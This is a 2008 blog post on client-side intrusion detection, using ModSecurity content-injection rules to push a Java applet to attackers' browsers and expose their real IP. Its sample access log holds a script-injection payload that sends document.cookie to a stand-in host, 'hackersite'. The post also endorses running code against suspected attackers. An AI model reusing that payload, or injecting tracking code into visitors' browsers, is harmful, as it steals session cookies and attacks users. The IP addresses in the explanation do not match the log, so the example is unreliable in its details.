Content Injection: Hack the HackerApril 11, 2008 – 7:27 AM
Traditional IDS/IPS systems occur at the network level, usually plugged into a spanning port on a switch. I love this concept and think it should be part of any defense in depth strategy. The two primary weaknesses in these devices are, (1) they cannot process encrypted streams and (2) they can often be circumvented with a little creativity. In this post I want to discuss using Client-Side IDS (C-IDS) for more advanced attack detection.
So what benefits would a client-side IDS (C-IDS) provide?
- Client side code is interoperable. This means it can be rapidly deployed across any number of networks;
- Client side code works over encrypted sessions. We don’t need to worry about SSL termination issues and reading into encrypted sessions;
- Client side code allows us to hook into the user’s browser where the attacks are happening. This gives us greater control and the possibility to detect advanced anti-filter attacks (obfuscation & polymorphism.);
- Client side code allows us to attack the attacker. We could execute code to determine if the attacker is using Tor or any number of browser-related variables.
Basically, the same engine discussed for Web 2.0 worms could theoritically be used as an additional defense in depth tool. The latest version of ModSecurity (2.5) allows two new rules, “prepend” or “append”. These rules allow us to insert HTML/text into our HTTP responses. This type of flexability opens an entire range of doors. Great stuff guys! Here’s an example from ModSecurity Content Injection article:
The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker’s browser to initiate a connection back to our web server.
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:''" SecRule RESPONSE_CONTENT_TYPE "^text/html"
So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:
220.127.116.11 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://hackersite/'+document.cookie+'%22')%3C/script%3E HTTP/1.1" 500 676 18.104.22.168 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=22.214.171.124 HTTP/1.1" 404 207
As you can see, even though the IP address in the access_logs shows 126.96.36.199, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 188.8.131.52. This would mean that in this case, the attacker’s system was not on a private network (perhaps just connecting their computer directly to the internet). Attacker’s computer -> Proxy -> Proxy -> etc… -> Target Website.